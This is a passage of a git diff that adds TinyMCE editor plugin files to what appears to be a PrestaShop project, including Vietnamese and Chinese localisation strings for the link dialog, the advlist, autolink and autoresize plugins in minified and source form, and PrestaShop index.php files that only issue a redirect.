th\u1ecb thanh v\u1ecb tr\u00ed","popup_menubar":"Hi\u1ec3n th\u1ecb thanh th\u1ef1c \u0111\u01a1n","popup_toolbar":"Hi\u1ec7n th\u1ecb thanh c\u00f4ng c\u1ee5","popup_statusbar":"Hi\u1ec7n th\u1ecb thanh tr\u1ea1ng th\u00e1i","popup_scrollbars":"Hi\u1ec3n th\u1ecb thanh cu\u1ed9n","popup_return":"Ch\u00e8n \'return false\'","popup_name":"T\u00ean c\u1eeda s\u1ed5","popup_url":"URL b\u1eadt l\u00ean",popup:"Javascript b\u1eadt l\u00ean","target_blank":"M\u1edf trong c\u1eeda s\u1ed5 m\u1edbi","target_top":"M\u1edf trong khung tr\u00ean c\u00f9ng (thay th\u1ebf t\u1ea5t c\u00e1c khung)","target_parent":"M\u1edf trong c\u1eeda s\u1ed5/khung cha","target_same":"M\u1edf trong c\u1eeda s\u1ed5/khung n\u00e0y","anchor_names":"M\u1ecf neo","popup_opts":"T\u00f9y ch\u1ecdn","advanced_props":"Thu\u1ed9c t\u00ednh n\u00e2ng cao","event_props":"S\u1ef1 ki\u1ec7n","popup_props":"Thu\u1ed9c t\u00ednh b\u1eadt l\u00ean","general_props":"Thu\u1ed9c t\u00ednh chung","advanced_tab":"N\u00e2ng cao","events_tab":"S\u1ef1 ki\u1ec7n","popup_tab":"B\u1eadt l\u00ean","general_tab":"Chung",list:"Danh s\u00e1ch li\u00ean k\u1ebft","is_external":"URL b\u1ea1n \u0111\u00e3 nh\u1eadp c\u00f3 v\u1ebb l\u00e0 m\u1ed9t li\u00ean k\u1ebft ngo\u00e0i, b\u1ea1n c\u00f3 mu\u1ed1n th\u00eam ti\u1ec1n t\u1ed1 http://?","is_email":"URL b\u1ea1n \u0111\u00e3 nh\u1eadp c\u00f3 v\u1ebb l\u00e0 m\u1ed9t \u0111\u1ecba ch\u1ec9 \u0111i\u1ec7n th\u01b0, B\u1ea1n c\u00f3 mu\u1ed1n th\u00eam ti\u1ec1n t\u1ed1 mailto?",titlefield:"Ti\u00eau \u0111\u1ec1",target:"\u0110\u00edch",url:"URL Li\u00ean k\u1ebft",title:"Th\u00eam/S\u1eeda Li\u00ean k\u1ebft","link_list":"Danh s\u00e1ch li\u00ean k\u1ebft",rtl:"Ph\u1ea3i qua tr\u00e1i",ltr:"Tr\u00e1i qua ph\u1ea3i",accesskey:"Ph\u00edm truy c\u1eadp",tabindex:"Ch\u1ec9 m\u1ee5c th\u1ebb",rev:"\u0110\u00edch li\u00ean quan t\u1edbi trang",rel:"Trang li\u00ean quan t\u1edbi \u0111\u00edch",mime:"Ki\u1ec3u MIME \u0111\u00edch",encoding:"M\u00e3 h\u00f3a k\u00fd t\u1ef1 \u0111\u00edch",langcode:"M\u00e3 ng\u00f4n ng\u1eef","target_langcode":"Ng\u00f4n ng\u1eef \u0111\u00edch",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/zh-cn_dlg.js b/js/tiny_mce2/plugins/advlink/langs/zh-cn_dlg.js new file mode 100755 index 0000000..fb228f5 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.advlink_dlg',{"target_name":"\u76ee\u6807\u540d\u79f0",classes:"\u7c7b\u522b",style:"\u6837\u5f0f",id:"ID","popup_position":"\u4f4d\u7f6e(X/Y)",langdir:"\u8bed\u8a00\u4e66\u5199\u65b9\u5411","popup_size":"\u5927\u5c0f","popup_dependent":"\u9650\u5236(\u4ec5\u652f\u6301Mozilla/Firefox)","popup_resizable":"\u7a97\u53e3\u53ef\u8c03\u6574\u5927\u5c0f","popup_location":"\u663e\u793a\u5730\u5740\u680f","popup_menubar":"\u663e\u793a\u83dc\u5355\u680f","popup_toolbar":"\u663e\u793a\u5de5\u5177\u680f","popup_statusbar":"\u663e\u793a\u72b6\u6001\u680f","popup_scrollbars":"\u663e\u793a\u6eda\u52a8\u6761","popup_return":"\u63d2\u5165\'return false\'","popup_name":"\u7a97\u53e3\u540d\u79f0","popup_url":"\u5f39\u51faURL",popup:"Javascript\u5f39\u7a97","target_blank":"\u5728\u65b0\u7a97\u53e3\u6253\u5f00","target_top":"\u5728\u9876\u90e8\u6846\u67b6\u6253\u5f00\uff08\u91cd\u7f6e\u6240\u6709\u6846\u67b6\uff09","target_parent":"\u5728\u7236\u7a97\u53e3/\u6846\u67b6\u6253\u5f00","target_same":"\u5728\u5f53\u524d\u7a97\u53e3/\u6846\u67b6\u6253\u5f00","anchor_names":"\u951a","popup_opts":"\u9009\u9879","advanced_props":"\u9ad8\u7ea7\u5c5e\u6027","event_props":"\u4e8b\u4ef6","popup_props":"\u5f39\u51fa\u5c5e\u6027","general_props":"\u666e\u901a\u5c5e\u6027","advanced_tab":"\u9ad8\u7ea7","events_tab":"\u4e8b\u4ef6","popup_tab":"\u5f39\u51fa","general_tab":"\u666e\u901a",list:"\u94fe\u63a5\u5217\u8868","is_external":"\u60a8\u8f93\u5165\u7684URL\u662f\u4e00\u4e2a\u5916\u90e8\u94fe\u63a5\uff0c\u662f\u5426\u8981\u52a0\u4e0a\"http://\"\u524d\u7f00\uff1f","is_email":"\u60a8\u8f93\u5165URL\u662f\u7535\u5b50\u90ae\u4ef6\u5730\u5740\uff0c\u662f\u5426\u9700\u8981\u52a0\"mailto:\"\u524d\u7f00\uff1f",titlefield:"\u6807\u9898",target:"\u6253\u5f00\u65b9\u5f0f",url:"\u8d85\u94fe\u63a5URL",title:"\u63d2\u5165/\u7f16\u8f91 \u8d85\u94fe\u63a5","link_list":"\u94fe\u63a5\u5217\u8868",rtl:"\u4ece\u53f3\u5230\u5de6",ltr:"\u4ece\u5de6\u5230\u53f3",accesskey:"\u5feb\u6377\u952e",tabindex:"Tab\u7d22\u5f15",rev:"\u76ee\u6807\u5230\u7f51\u9875\u7684\u5173\u7cfb",rel:"\u7f51\u9875\u5230\u76ee\u6807\u7684\u5173\u7cfb",mime:"\u76ee\u6807MIME\u7c7b\u578b",encoding:"\u76ee\u6807\u8bed\u8a00\u7f16\u7801",langcode:"\u8bed\u8a00\u7f16\u7801","target_langcode":"\u76ee\u6807\u8bed\u8a00",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/zh-tw_dlg.js b/js/tiny_mce2/plugins/advlink/langs/zh-tw_dlg.js new file mode 100755 index 0000000..5681939 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.advlink_dlg',{"target_name":"\u76ee\u6a19\u540d\u7a31",classes:"\u985e\u5225 (Class)",style:"\u6a23\u5f0f",id:"\u9023\u7d50\u7684 ID","popup_position":"\u4f4d\u7f6e (X/Y)",langdir:"\u66f8\u5beb\u65b9\u5411","popup_size":"\u5927\u5c0f","popup_dependent":"\u9650\u5236 (\u50c5 Firefox \u652f\u63f4)","popup_resizable":"\u53ef\u4ee5\u8abf\u6574\u8996\u7a97\u5927\u5c0f","popup_location":"\u986f\u793a\u7db2\u5740\u5217","popup_menubar":"\u986f\u793a\u7a0b\u5f0f\u9078\u55ae","popup_toolbar":"\u986f\u793a\u5de5\u5177\u5217","popup_statusbar":"\u986f\u793a\u72c0\u614b\u5217","popup_scrollbars":"\u986f\u793a\u7db2\u9801\u6372\u8ef8","popup_return":"\u52a0\u5165\u4e00\u500b Javascript Return False \u8a9e\u6cd5","popup_name":"\u8996\u7a97\u540d\u7a31","popup_url":"\u5f48\u8df3\u8996\u7a97\u7684\u7db2\u5740",popup:"\u4f7f\u7528 Javascript \u7a0b\u5f0f\u8a9e\u8a00\u505a\u5f48\u8df3\u6548\u679c","target_blank":"\u958b\u4e00\u500b\u65b0\u8996\u7a97","target_top":"\u76f4\u63a5\u958b\u555f (\u6846\u67b6\u4e5f\u84cb\u6389)","target_parent":"\u958b\u5728\u4e3b\u8981\u756b\u9762","target_same":"\u76f4\u63a5\u958b\u555f","anchor_names":"\u9328\u9ede (\u66f8\u7c64)","popup_opts":"\u9078\u9805","advanced_props":"\u66f4\u591a\u8a2d\u5b9a","event_props":"\u4e8b\u4ef6","popup_props":"\u5f48\u8df3\u8a2d\u5b9a","general_props":"\u4e00\u822c","advanced_tab":"\u66f4\u591a","events_tab":"\u7a0b\u5f0f\u4e8b\u4ef6","popup_tab":"\u5f48\u8df3\u8996\u7a97","general_tab":"\u4e00\u822c",list:"\u9023\u7d50\u6e05\u55ae","is_external":"\u60a8\u7684\u7db2\u5740\u5c11\u597d\u50cf\u52a0\u5165\u4e00\u500b http:// \u8a9e\u6cd5\uff0c\u8981\u5e6b\u60a8\u4fee\u6b63\u55ce\uff1f","is_email":"\u60a8\u7684 E-Mail \u5c11\u597d\u50cf\u52a0\u5165\u4e00\u500b mailto: \u8a9e\u6cd5\uff0c\u8981\u5e6b\u60a8\u4fee\u6b63\u55ce\uff1f",titlefield:"\u6a19\u984c",target:"\u958b\u555f\u65b9\u5f0f",url:"\u9023\u7d50 URL",title:"\u52a0\u5165 / \u7de8\u8f2f\u7db2\u5740\u9023\u7d50","link_list":"\u9023\u7d50\u6e05\u55ae",rtl:"\u5f9e\u53f3\u908a\u5230\u5de6\u908a",ltr:"\u5f9e\u5de6\u908a\u5230\u53f3\u908a",accesskey:"HTML \u5feb\u901f\u9375",tabindex:"Tab \u7d22\u5f15\u4f4d\u7f6e (Tabindex)",rev:"\u9023\u7d50\u8207\u7db2\u9801\u7684\u95dc\u4fc2",rel:"\u7db2\u9801\u8207\u9023\u7d50\u7684\u95dc\u4fc2",mime:"\u9023\u7d50\u7684 MIME \u985e\u578b",encoding:"\u9023\u7d50\u4e2d\u7684\u5b57\u5143\u7de8\u78bc",langcode:"\u8a9e\u7cfb\u4ee3\u865f","target_langcode":"\u9023\u7d50\u7684\u8a9e\u8a00",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/link.htm b/js/tiny_mce2/plugins/advlink/link.htm new file mode 100755 index 0000000..52623ab --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/link.htm @@ -0,0 +1,338 @@ + + + + {#advlink_dlg.title} + + + + + + + + + +
    + + + + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/advlist/editor_plugin.js b/js/tiny_mce2/plugins/advlist/editor_plugin.js new file mode 100755 index 0000000..57ecce6 --- /dev/null +++ b/js/tiny_mce2/plugins/advlist/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.AdvListPlugin",{init:function(b,c){var d=this;d.editor=b;function e(g){var f=[];a(g.split(/,/),function(h){f.push({title:"advlist."+(h=="default"?"def":h.replace(/-/g,"_")),styles:{listStyleType:h=="default"?"":h}})});return f}d.numlist=b.getParam("advlist_number_styles")||e("default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman");d.bullist=b.getParam("advlist_bullet_styles")||e("default,circle,disc,square");if(tinymce.isIE&&/MSIE [2-7]/.test(navigator.userAgent)){d.isIE7=true}},createControl:function(d,b){var f=this,e,i,g=f.editor;if(d=="numlist"||d=="bullist"){if(f[d][0].title=="advlist.def"){i=f[d][0]}function c(j,l){var k=true;a(l.styles,function(n,m){if(g.dom.getStyle(j,m)!=n){k=false;return false}});return k}function h(){var k,l=g.dom,j=g.selection;k=l.getParent(j.getNode(),"ol,ul");if(!k||k.nodeName==(d=="bullist"?"OL":"UL")||c(k,i)){g.execCommand(d=="bullist"?"InsertUnorderedList":"InsertOrderedList")}if(i){k=l.getParent(j.getNode(),"ol,ul");if(k){l.setStyles(k,i.styles);k.removeAttribute("data-mce-style")}}g.focus()}e=b.createSplitButton(d,{title:"advanced."+d+"_desc","class":"mce_"+d,onclick:function(){h()}});e.onRenderMenu.add(function(j,k){k.onHideMenu.add(function(){if(f.bookmark){g.selection.moveToBookmark(f.bookmark);f.bookmark=0}});k.onShowMenu.add(function(){var n=g.dom,m=n.getParent(g.selection.getNode(),"ol,ul"),l;if(m||i){l=f[d];a(k.items,function(o){var p=true;o.setSelected(0);if(m&&!o.isDisabled()){a(l,function(q){if(q.id==o.id){if(!c(m,q)){p=false;return false}}});if(p){o.setSelected(1)}}});if(!m){k.items[i.id].setSelected(1)}}g.focus();if(tinymce.isIE){f.bookmark=g.selection.getBookmark(1)}});k.add({id:g.dom.uniqueId(),title:"advlist.types","class":"mceMenuItemTitle",titleItem:true}).setDisabled(1);a(f[d],function(l){if(f.isIE7&&l.styles.listStyleType=="lower-greek"){return}l.id=g.dom.uniqueId();k.add({id:l.id,title:l.title,onclick:function(){i=l;h()}})})});return e}},getInfo:function(){return{longname:"Advanced lists",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlist",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advlist",tinymce.plugins.AdvListPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlist/editor_plugin_src.js b/js/tiny_mce2/plugins/advlist/editor_plugin_src.js new file mode 100755 index 0000000..4ee4d34 --- /dev/null +++ b/js/tiny_mce2/plugins/advlist/editor_plugin_src.js @@ -0,0 +1,176 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var each = tinymce.each; + + tinymce.create('tinymce.plugins.AdvListPlugin', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + function buildFormats(str) { + var formats = []; + + each(str.split(/,/), function(type) { + formats.push({ + title : 'advlist.' + (type == 'default' ? 'def' : type.replace(/-/g, '_')), + styles : { + listStyleType : type == 'default' ? '' : type + } + }); + }); + + return formats; + }; + + // Setup number formats from config or default + t.numlist = ed.getParam("advlist_number_styles") || buildFormats("default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman"); + t.bullist = ed.getParam("advlist_bullet_styles") || buildFormats("default,circle,disc,square"); + + if (tinymce.isIE && /MSIE [2-7]/.test(navigator.userAgent)) + t.isIE7 = true; + }, + + createControl: function(name, cm) { + var t = this, btn, format, editor = t.editor; + + if (name == 'numlist' || name == 'bullist') { + // Default to first item if it's a default item + if (t[name][0].title == 'advlist.def') + format = t[name][0]; + + function hasFormat(node, format) { + var state = true; + + each(format.styles, function(value, name) { + // Format doesn't match + if (editor.dom.getStyle(node, name) != value) { + state = false; + return false; + } + }); + + return state; + }; + + function applyListFormat() { + var list, dom = editor.dom, sel = editor.selection; + + // Check for existing list element + list = dom.getParent(sel.getNode(), 'ol,ul'); + + // Switch/add list type if needed + if (!list || list.nodeName == (name == 'bullist' ? 'OL' : 'UL') || hasFormat(list, format)) + editor.execCommand(name == 'bullist' ? 'InsertUnorderedList' : 'InsertOrderedList'); + + // Append styles to new list element + if (format) { + list = dom.getParent(sel.getNode(), 'ol,ul'); + if (list) { + dom.setStyles(list, format.styles); + list.removeAttribute('data-mce-style'); + } + } + + editor.focus(); + }; + + btn = cm.createSplitButton(name, { + title : 'advanced.' + name + '_desc', + 'class' : 'mce_' + name, + onclick : function() { + applyListFormat(); + } + }); + + btn.onRenderMenu.add(function(btn, menu) { + menu.onHideMenu.add(function() { + if (t.bookmark) { + editor.selection.moveToBookmark(t.bookmark); + t.bookmark = 0; + } + }); + + menu.onShowMenu.add(function() { + var dom = editor.dom, list = dom.getParent(editor.selection.getNode(), 'ol,ul'), fmtList; + + if (list || format) { + fmtList = t[name]; + + // Unselect existing items + each(menu.items, function(item) { + var state = true; + + item.setSelected(0); + + if (list && !item.isDisabled()) { + each(fmtList, function(fmt) { + if (fmt.id == item.id) { + if (!hasFormat(list, fmt)) { + state = false; + return false; + } + } + }); + + if (state) + item.setSelected(1); + } + }); + + // Select the current format + if (!list) + menu.items[format.id].setSelected(1); + } + + editor.focus(); + + // IE looses it's selection so store it away and restore it later + if (tinymce.isIE) { + t.bookmark = editor.selection.getBookmark(1); + } + }); + + menu.add({id : editor.dom.uniqueId(), title : 'advlist.types', 'class' : 'mceMenuItemTitle', titleItem: true}).setDisabled(1); + + each(t[name], function(item) { + // IE<8 doesn't support lower-greek, skip it + if (t.isIE7 && item.styles.listStyleType == 'lower-greek') + return; + + item.id = editor.dom.uniqueId(); + + menu.add({id : item.id, title : item.title, onclick : function() { + format = item; + applyListFormat(); + }}); + }); + }); + + return btn; + } + }, + + getInfo : function() { + return { + longname : 'Advanced lists', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlist', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('advlist', tinymce.plugins.AdvListPlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlist/index.php b/js/tiny_mce2/plugins/advlist/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/advlist/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/autolink/editor_plugin.js b/js/tiny_mce2/plugins/autolink/editor_plugin.js new file mode 100755 index 0000000..fd293dc --- /dev/null +++ b/js/tiny_mce2/plugins/autolink/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.AutolinkPlugin",{init:function(a,b){var c=this;if(tinyMCE.isIE){return}a.onKeyDown.add(function(d,f){if(f.keyCode==13){return c.handleEnter(d)}});a.onKeyPress.add(function(d,f){if(f.which==41){return c.handleEclipse(d)}});a.onKeyUp.add(function(d,f){if(f.keyCode==32){return c.handleSpacebar(d)}})},handleEclipse:function(a){this.parseCurrentLine(a,-1,"(",true)},handleSpacebar:function(a){this.parseCurrentLine(a,0,"",true)},handleEnter:function(a){this.parseCurrentLine(a,-1,"",false)},parseCurrentLine:function(i,d,b,g){var a,f,c,n,k,m,h,e,j;a=i.selection.getRng().cloneRange();if(a.startOffset<5){e=a.endContainer.previousSibling;if(e==null){if(a.endContainer.firstChild==null||a.endContainer.firstChild.nextSibling==null){return}e=a.endContainer.firstChild.nextSibling}j=e.length;a.setStart(e,j);a.setEnd(e,j);if(a.endOffset<5){return}f=a.endOffset;n=e}else{n=a.endContainer;if(n.nodeType!=3&&n.firstChild){while(n.nodeType!=3&&n.firstChild){n=n.firstChild}a.setStart(n,0);a.setEnd(n,n.nodeValue.length)}if(a.endOffset==1){f=2}else{f=a.endOffset-1-d}}c=f;do{a.setStart(n,f-2);a.setEnd(n,f-1);f-=1}while(a.toString()!=" "&&a.toString()!=""&&a.toString().charCodeAt(0)!=160&&(f-2)>=0&&a.toString()!=b);if(a.toString()==b||a.toString().charCodeAt(0)==160){a.setStart(n,f);a.setEnd(n,c);f+=1}else{if(a.startOffset==0){a.setStart(n,0);a.setEnd(n,c)}else{a.setStart(n,f);a.setEnd(n,c)}}m=a.toString();h=m.match(/^(https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.)(.+)$/i);if(h){if(h[1]=="www."){h[1]="http://www."}k=i.selection.getBookmark();i.selection.setRng(a);tinyMCE.execCommand("createlink",false,h[1]+h[2]);i.selection.moveToBookmark(k);if(tinyMCE.isWebKit){i.selection.collapse(false);var l=Math.min(n.length,c+1);a.setStart(n,l);a.setEnd(n,l);i.selection.setRng(a)}}},getInfo:function(){return{longname:"Autolink",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autolink",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("autolink",tinymce.plugins.AutolinkPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/autolink/editor_plugin_src.js b/js/tiny_mce2/plugins/autolink/editor_plugin_src.js new file mode 100755 index 0000000..604da8b --- /dev/null +++ b/js/tiny_mce2/plugins/autolink/editor_plugin_src.js @@ -0,0 +1,172 @@ +/** + * editor_plugin_src.js + * + * Copyright 2011, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.AutolinkPlugin', { + /** + * Initializes the plugin, this will be executed after the plugin has been created. + * This call is done before the editor instance has finished it's initialization so use the onInit event + * of the editor instance to intercept that event. + * + * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. + * @param {string} url Absolute URL to where the plugin is located. + */ + + init : function(ed, url) { + var t = this; + + // Internet Explorer has built-in automatic linking + if (tinyMCE.isIE) + return; + + // Add a key down handler + ed.onKeyDown.add(function(ed, e) { + if (e.keyCode == 13) + return t.handleEnter(ed); + }); + + ed.onKeyPress.add(function(ed, e) { + if (e.which == 41) + return t.handleEclipse(ed); + }); + + // Add a key up handler + ed.onKeyUp.add(function(ed, e) { + if (e.keyCode == 32) + return t.handleSpacebar(ed); + }); + }, + + handleEclipse : function(ed) { + this.parseCurrentLine(ed, -1, '(', true); + }, + + handleSpacebar : function(ed) { + this.parseCurrentLine(ed, 0, '', true); + }, + + handleEnter : function(ed) { + this.parseCurrentLine(ed, -1, '', false); + }, + + parseCurrentLine : function(ed, end_offset, delimiter, goback) { + var r, end, start, endContainer, bookmark, text, matches, prev, len; + + // We need at least five characters to form a URL, + // hence, at minimum, five characters from the beginning of the line. + r = ed.selection.getRng().cloneRange(); + if (r.startOffset < 5) { + // During testing, the caret is placed inbetween two text nodes. + // The previous text node contains the URL. + prev = r.endContainer.previousSibling; + if (prev == null) { + if (r.endContainer.firstChild == null || r.endContainer.firstChild.nextSibling == null) + return; + + prev = r.endContainer.firstChild.nextSibling; + } + len = prev.length; + r.setStart(prev, len); + r.setEnd(prev, len); + + if (r.endOffset < 5) + return; + + end = r.endOffset; + endContainer = prev; + } else { + endContainer = r.endContainer; + + // Get a text node + if (endContainer.nodeType != 3 && endContainer.firstChild) { + while (endContainer.nodeType != 3 && endContainer.firstChild) + endContainer = endContainer.firstChild; + + r.setStart(endContainer, 0); + r.setEnd(endContainer, endContainer.nodeValue.length); + } + + if (r.endOffset == 1) + end = 2; + else + end = r.endOffset - 1 - end_offset; + } + + start = end; + + do + { + // Move the selection one character backwards. + r.setStart(endContainer, end - 2); + r.setEnd(endContainer, end - 1); + end -= 1; + + // Loop until one of the following is found: a blank space,  , delimeter, (end-2) >= 0 + } while (r.toString() != ' ' && r.toString() != '' && r.toString().charCodeAt(0) != 160 && (end -2) >= 0 && r.toString() != delimiter); + + if (r.toString() == delimiter || r.toString().charCodeAt(0) == 160) { + r.setStart(endContainer, end); + r.setEnd(endContainer, start); + end += 1; + } else if (r.startOffset == 0) { + r.setStart(endContainer, 0); + r.setEnd(endContainer, start); + } + else { + r.setStart(endContainer, end); + r.setEnd(endContainer, start); + } + + text = r.toString(); + matches = text.match(/^(https?:\/\/|ssh:\/\/|ftp:\/\/|file:\/|www\.)(.+)$/i); + + if (matches) { + if (matches[1] == 'www.') { + matches[1] = 'http://www.'; + } + + bookmark = ed.selection.getBookmark(); + + ed.selection.setRng(r); + tinyMCE.execCommand('createlink',false, matches[1] + matches[2]); + ed.selection.moveToBookmark(bookmark); + + // TODO: Determine if this is still needed. + if (tinyMCE.isWebKit) { + // move the caret to its original position + ed.selection.collapse(false); + var max = Math.min(endContainer.length, start + 1); + r.setStart(endContainer, max); + r.setEnd(endContainer, max); + ed.selection.setRng(r); + } + } + }, + + /** + * Returns information about the plugin as a name/value array. + * The current keys are longname, author, authorurl, infourl and version. + * + * @return {Object} Name/value array containing information about the plugin. + */ + getInfo : function() { + return { + longname : 'Autolink', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autolink', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('autolink', tinymce.plugins.AutolinkPlugin); +})(); diff --git a/js/tiny_mce2/plugins/autolink/index.php b/js/tiny_mce2/plugins/autolink/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/autolink/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/autoresize/editor_plugin.js b/js/tiny_mce2/plugins/autoresize/editor_plugin.js new file mode 100755 index 0000000..46d9dc3 --- /dev/null +++ b/js/tiny_mce2/plugins/autoresize/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.AutoResizePlugin",{init:function(a,c){var d=this,e=0;if(a.getParam("fullscreen_is_enabled")){return}function b(){var j,i=a.getDoc(),f=i.body,l=i.documentElement,h=tinymce.DOM,k=d.autoresize_min_height,g;g=tinymce.isIE?f.scrollHeight:(tinymce.isWebKit&&f.clientHeight==0?0:f.offsetHeight);if(g>d.autoresize_min_height){k=g}if(d.autoresize_max_height&&g>d.autoresize_max_height){k=d.autoresize_max_height;f.style.overflowY="auto";l.style.overflowY="auto"}else{f.style.overflowY="hidden";l.style.overflowY="hidden";f.scrollTop=0}if(k!==e){j=k-e;h.setStyle(h.get(a.id+"_ifr"),"height",k+"px");e=k;if(tinymce.isWebKit&&j<0){b()}}}d.editor=a;d.autoresize_min_height=parseInt(a.getParam("autoresize_min_height",a.getElement().offsetHeight));d.autoresize_max_height=parseInt(a.getParam("autoresize_max_height",0));a.onInit.add(function(f){f.dom.setStyle(f.getBody(),"paddingBottom",f.getParam("autoresize_bottom_margin",50)+"px")});a.onChange.add(b);a.onSetContent.add(b);a.onPaste.add(b);a.onKeyUp.add(b);a.onPostRender.add(b);if(a.getParam("autoresize_on_init",true)){a.onLoad.add(b);a.onLoadContent.add(b)}a.addCommand("mceAutoResize",b)},getInfo:function(){return{longname:"Auto Resize",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autoresize",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("autoresize",tinymce.plugins.AutoResizePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/autoresize/editor_plugin_src.js b/js/tiny_mce2/plugins/autoresize/editor_plugin_src.js new file mode 100755 index 0000000..7673bcf --- /dev/null +++ b/js/tiny_mce2/plugins/autoresize/editor_plugin_src.js @@ -0,0 +1,119 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + /** + * Auto Resize + * + * This plugin automatically resizes the content area to fit its content height. + * It will retain a minimum height, which is the height of the content area when + * it's initialized. + */ + tinymce.create('tinymce.plugins.AutoResizePlugin', { + /** + * Initializes the plugin, this will be executed after the plugin has been created. + * This call is done before the editor instance has finished it's initialization so use the onInit event + * of the editor instance to intercept that event. + * + * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. + * @param {string} url Absolute URL to where the plugin is located. + */ + init : function(ed, url) { + var t = this, oldSize = 0; + + if (ed.getParam('fullscreen_is_enabled')) + return; + + /** + * This method gets executed each time the editor needs to resize. + */ + function resize() { + var deltaSize, d = ed.getDoc(), body = d.body, de = d.documentElement, DOM = tinymce.DOM, resizeHeight = t.autoresize_min_height, myHeight; + + // Get height differently depending on the browser used + myHeight = tinymce.isIE ? body.scrollHeight : (tinymce.isWebKit && body.clientHeight == 0 ? 0 : body.offsetHeight); + + // Don't make it smaller than the minimum height + if (myHeight > t.autoresize_min_height) + resizeHeight = myHeight; + + // If a maximum height has been defined don't exceed this height + if (t.autoresize_max_height && myHeight > t.autoresize_max_height) { + resizeHeight = t.autoresize_max_height; + body.style.overflowY = "auto"; + de.style.overflowY = "auto"; // Old IE + } else { + body.style.overflowY = "hidden"; + de.style.overflowY = "hidden"; // Old IE + body.scrollTop = 0; + } + + // Resize content element + if (resizeHeight !== oldSize) { + deltaSize = resizeHeight - oldSize; + DOM.setStyle(DOM.get(ed.id + '_ifr'), 'height', resizeHeight + 'px'); + oldSize = resizeHeight; + + // WebKit doesn't decrease the size of the body element until the iframe gets resized + // So we need to continue to resize the iframe down until the size gets fixed + if (tinymce.isWebKit && deltaSize < 0) + resize(); + } + }; + + t.editor = ed; + + // Define minimum height + t.autoresize_min_height = parseInt(ed.getParam('autoresize_min_height', ed.getElement().offsetHeight)); + + // Define maximum height + t.autoresize_max_height = parseInt(ed.getParam('autoresize_max_height', 0)); + + // Add padding at the bottom for better UX + ed.onInit.add(function(ed){ + ed.dom.setStyle(ed.getBody(), 'paddingBottom', ed.getParam('autoresize_bottom_margin', 50) + 'px'); + }); + + // 